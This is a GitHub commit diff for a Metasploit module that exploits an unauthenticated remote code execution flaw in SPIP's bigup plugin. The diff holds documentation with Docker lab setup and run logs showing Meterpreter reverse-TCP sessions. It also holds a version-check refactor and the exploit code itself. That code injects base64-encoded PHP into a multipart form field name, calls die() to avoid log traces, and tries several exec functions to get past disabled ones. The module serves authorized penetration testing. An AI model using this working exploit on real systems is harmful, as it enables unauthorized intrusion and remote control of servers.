Skip to content

Commit 289f47f

Browse files
committed
Update documentation with docker setup, working mixin now, update module
1 parent cc61278 commit 289f47f

File tree

3 files changed

+99
-96
lines changed

3 files changed

+99
-96
lines changed

documentation/modules/exploit/multi/http/spip_bigup_unauth_rce.md

Lines changed: 37 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,25 @@ To complete the installation:
3232
1. Navigate to `http://localhost:8000/ecrire` to access the SPIP web installation panel.
3333
2. Follow the on-screen instructions to complete the setup.
3434

35+
### Docker Setup
36+
37+
To replicate a vulnerable environment for testing, follow these steps:
38+
39+
1. Pull the vulnerable SPIP Docker image:
40+
41+
```bash
42+
docker run --name casse-spip -p 8000:80 \
43+
-e SPIP_DB_SERVER=sqlite3 \
44+
-e SPIP_SITE_ADDRESS=http://127.0.0.1 \
45+
-d ipeos/spip:4.3.1
46+
```
47+
48+
2. Go to `http://localhost:8000` to access the SPIP application.
49+
50+
It is recommended to use the Docker installation because the non-Docker version automatically
51+
retrieves the latest plugin updates, making the exploit ineffective.
52+
The Docker version ensures a vulnerable environment.
53+
3554
## Verification Steps
3655

3756
1. Set up a SPIP instance using the commands provided above.
@@ -87,16 +106,19 @@ msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000
87106
[*] Started reverse TCP handler on 192.168.1.36:4444
88107
[*] Running automatic check ("set AutoCheck false" to disable)
89108
[*] SPIP Version detected: 4.3.1
90-
[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable.
109+
[+] SPIP version 4.3.1 is vulnerable.
110+
[*] Bigup plugin version detected: 3.2.11
111+
[+] The target appears to be vulnerable. Both the detected SPIP version (4.3.1) and bigup version (3.2.11) are vulnerable.
112+
[*] Found formulaire_action: login
113+
[*] Found formulaire_action_args: yt4d8ri/avF6LO/OwLA2O...
91114
[*] Preparing to send exploit payload to the target...
92-
[*] Sending stage (39927 bytes) to 192.168.1.36
93-
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:46322) at 2024-09-03 20:08:36 +0200
115+
[*] Sending stage (39927 bytes) to 172.17.0.2
116+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.17.0.2:54956) at 2024-09-08 05:53:39 +0200
94117

95118
meterpreter > sysinfo
96-
Computer : linux
97-
OS : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
119+
Computer : d6c6866cac5a
120+
OS : Linux d6c6866cac5a 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
98121
Meterpreter : php/linux
99-
meterpreter >
100122
```
101123

102124
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
@@ -107,18 +129,21 @@ msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000
107129
[*] Started reverse TCP handler on 192.168.1.36:4444
108130
[*] Running automatic check ("set AutoCheck false" to disable)
109131
[*] SPIP Version detected: 4.3.1
110-
[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable.
132+
[+] SPIP version 4.3.1 is vulnerable.
133+
[*] Bigup plugin version detected: 3.2.11
134+
[+] The target appears to be vulnerable. Both the detected SPIP version (4.3.1) and bigup version (3.2.11) are vulnerable.
135+
[*] Found formulaire_action: login
136+
[*] Found formulaire_action_args: yt4d8ri/avF6LO/OwLA2O...
111137
[*] Preparing to send exploit payload to the target...
112-
[*] Sending stage (3045380 bytes) to 192.168.1.36
113-
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:58062) at 2024-09-03 20:09:20 +0200
138+
[*] Sending stage (3045380 bytes) to 172.17.0.2
139+
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 172.17.0.2:55956) at 2024-09-08 05:54:43 +0200
114140

115141
meterpreter > sysinfo
116-
Computer : 192.168.1.36
117-
OS : LinuxMint 21.3 (Linux 5.15.0-119-generic)
142+
Computer : 172.17.0.2
143+
OS : Debian 11.10 (Linux 5.15.0-119-generic)
118144
Architecture : x64
119145
BuildTuple : x86_64-linux-musl
120146
Meterpreter : x64/linux
121-
meterpreter >
122147
```
123148

124149
- The module successfully exploits the vulnerability and opens a Meterpreter session on the target.

lib/msf/core/exploit/remote/http/spip.rb

Lines changed: 11 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -47,48 +47,23 @@ def spip_version
4747
# @param [String] plugin_name Name of the plugin to search for
4848
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found
4949
def spip_plugin_version(plugin_name)
50-
res = send_request_cgi(
51-
'method' => 'GET',
52-
'uri' => normalize_uri(target_uri.path, 'spip.php')
53-
)
54-
50+
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'spip.php'))
5551
return unless res
5652

57-
# Check the Composed-By header for plugin version or config.txt URL
5853
composed_by = res.headers['Composed-By']
59-
return unless composed_by
60-
61-
# Case 1: Look for config.txt URL in the header
62-
if composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i
63-
config_url = ::Regexp.last_match(1)
64-
vprint_status("Found config.txt URL: #{config_url}")
65-
66-
# Fetch and parse the config.txt file directly
67-
config_res = send_request_cgi(
68-
'method' => 'GET',
69-
'uri' => config_url
70-
)
54+
# Case 1: Check if 'Composed-By' header is present and not empty
55+
return parse_plugin_version(composed_by, plugin_name) if composed_by && !composed_by.empty?
7156

72-
if config_res&.code == 200
73-
return parse_plugin_version(config_res.body, plugin_name)
74-
end
75-
end
57+
composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i
58+
config_url = ::Regexp.last_match(1)
59+
config_url ||= normalize_uri(target_uri.path, 'local', 'config.txt')
7660

77-
# Case 2: Check for plugin version directly in Composed-By
78-
plugin_version = parse_plugin_version(composed_by, plugin_name)
79-
return plugin_version if plugin_version
61+
# Case 2: Send a request to fetch the config.txt file
62+
config_res = send_request_cgi('method' => 'GET', 'uri' => config_url)
63+
return unless config_res&.code == 200
8064

81-
# Case 3: Fallback to fetching /local/config.txt directly
82-
vprint_status('No version found in Composed-By header. Attempting to fetch /local/config.txt directly.')
83-
config_url = normalize_uri(target_uri.path, 'local', 'config.txt')
84-
config_res = send_request_cgi(
85-
'method' => 'GET',
86-
'uri' => config_url
87-
)
88-
89-
return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200
90-
91-
nil
65+
# Case 3: Parse the content of config.txt to find the plugin version
66+
parse_plugin_version(config_res.body, plugin_name)
9267
end
9368

9469
# Parse the plugin version from config.txt or composed-by

modules/exploits/multi/http/spip_bigup_unauth_rce.rb

Lines changed: 51 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def initialize(info = {})
8383
end
8484

8585
def check
86-
rversion = spip_version
86+
rversion = spip_version || spip_plugin_version('spip')
8787
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion
8888

8989
print_status("SPIP Version detected: #{rversion}")
@@ -94,23 +94,26 @@ def check
9494
{ start: Rex::Version.new('4.3.0'), end: Rex::Version.new('4.3.1') }
9595
]
9696

97-
vulnerable_ranges.each do |range|
98-
if rversion.between?(range[:start], range[:end])
99-
print_good("SPIP version #{rversion} is vulnerable.")
100-
break
101-
end
97+
is_vulnerable = vulnerable_ranges.any? { |range| rversion.between?(range[:start], range[:end]) }
98+
99+
unless is_vulnerable
100+
return CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
102101
end
103102

103+
print_good("SPIP version #{rversion} is vulnerable.")
104104
plugin_version = spip_plugin_version('bigup')
105+
print_status("Bigup plugin version detected: #{plugin_version}")
105106

106107
unless plugin_version
107108
print_warning('Could not determine the version of the bigup plugin.')
108109
return CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
109110
end
110111

111-
return CheckCode::Appears("Both the detected SPIP version (#{rversion}) and bigup version (#{plugin_version}) are vulnerable.") if plugin_version < Rex::Version.new('3.1.6')
112+
if plugin_version < Rex::Version.new('3.2.12')
113+
return CheckCode::Appears("Both the detected SPIP version (#{rversion}) and bigup version (#{plugin_version}) are vulnerable.")
114+
end
112115

113-
CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
116+
CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
114117
end
115118

116119
# This function tests several pages to find a form with a valid CSRF token and its corresponding action.
@@ -142,55 +145,55 @@ def get_form_data
142145

143146
nil
144147
end
145-
end
146148

147-
# This function generates PHP code to execute a given payload on the target.
148-
# We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
149-
# The payload is encoded in base64 to prevent issues with special characters.
150-
# The generated PHP code includes the necessary preamble and system block to execute the payload.
151-
# This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled.
152-
def php_exec_cmd(encoded_payload)
153-
vars = Rex::RandomIdentifier::Generator.new
154-
dis = "$#{vars[:dis]}"
155-
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
156-
<<-END_OF_PHP_CODE
157-
#{php_preamble(disabled_varname: dis)}
158-
$c = base64_decode("#{encoded_clean_payload}");
159-
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
160-
END_OF_PHP_CODE
161-
end
149+
# This function generates PHP code to execute a given payload on the target.
150+
# We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
151+
# The payload is encoded in base64 to prevent issues with special characters.
152+
# The generated PHP code includes the necessary preamble and system block to execute the payload.
153+
# This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled.
154+
def php_exec_cmd(encoded_payload)
155+
vars = Rex::RandomIdentifier::Generator.new
156+
dis = "$#{vars[:dis]}"
157+
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
158+
<<-END_OF_PHP_CODE
159+
#{php_preamble(disabled_varname: dis)}
160+
$c = base64_decode("#{encoded_clean_payload}");
161+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
162+
END_OF_PHP_CODE
163+
end
162164

163-
def exploit
164-
form_data = get_form_data
165+
def exploit
166+
form_data = get_form_data
165167

166-
unless form_data
167-
fail_with(Failure::NotFound, 'Could not retrieve formulaire_action or formulaire_action_args value from any page.')
168-
end
168+
unless form_data
169+
fail_with(Failure::NotFound, 'Could not retrieve formulaire_action or formulaire_action_args value from any page.')
170+
end
169171

170-
print_status('Preparing to send exploit payload to the target...')
172+
print_status('Preparing to send exploit payload to the target...')
171173

172-
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
173-
b64_payload = framework.encoders.create('php/base64').encode(phped_payload).gsub(';', '')
174+
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
175+
b64_payload = framework.encoders.create('php/base64').encode(phped_payload).gsub(';', '')
174176

175-
post_data = Rex::MIME::Message.new
177+
post_data = Rex::MIME::Message.new
176178

177-
# This line is necessary for the form to be valid, works in tandem with formulaire_action_args
178-
post_data.add_part(form_data[:action], nil, nil, 'form-data; name="formulaire_action"')
179+
# This line is necessary for the form to be valid, works in tandem with formulaire_action_args
180+
post_data.add_part(form_data[:action], nil, nil, 'form-data; name="formulaire_action"')
179181

180-
# This value is necessary for $_FILES to be used and for the bigup plugin to be "activated" for this request, thus triggering the vulnerability
181-
post_data.add_part(Rex::Text.rand_text_alphanumeric(4, 8), nil, nil, 'form-data; name="bigup_retrouver_fichiers"')
182+
# This value is necessary for $_FILES to be used and for the bigup plugin to be "activated" for this request, thus triggering the vulnerability
183+
post_data.add_part(Rex::Text.rand_text_alphanumeric(4, 8), nil, nil, 'form-data; name="bigup_retrouver_fichiers"')
182184

183-
# Injection is performed here. The die() function is used to avoid leaving traces in the logs,
184-
# prevent errors, and stop the execution of PHP after the injection.
185-
post_data.add_part('', nil, nil, "form-data; name=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}['.#{b64_payload}.die().']\"; filename=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}\"")
185+
# Injection is performed here. The die() function is used to avoid leaving traces in the logs,
186+
# prevent errors, and stop the execution of PHP after the injection.
187+
post_data.add_part('', nil, nil, "form-data; name=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}['.#{b64_payload}.die().']\"; filename=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}\"")
186188

187-
# This is necessary for the form to be accepted
188-
post_data.add_part(form_data[:args], nil, nil, 'form-data; name="formulaire_action_args"')
189+
# This is necessary for the form to be accepted
190+
post_data.add_part(form_data[:args], nil, nil, 'form-data; name="formulaire_action_args"')
189191

190-
send_request_cgi({
191-
'method' => 'POST',
192-
'uri' => normalize_uri(target_uri.path, 'spip.php'),
193-
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
194-
'data' => post_data.to_s
195-
}, 1)
192+
send_request_cgi({
193+
'method' => 'POST',
194+
'uri' => normalize_uri(target_uri.path, 'spip.php'),
195+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
196+
'data' => post_data.to_s
197+
}, 1)
198+
end
196199
end

0 commit comments

Comments
 (0)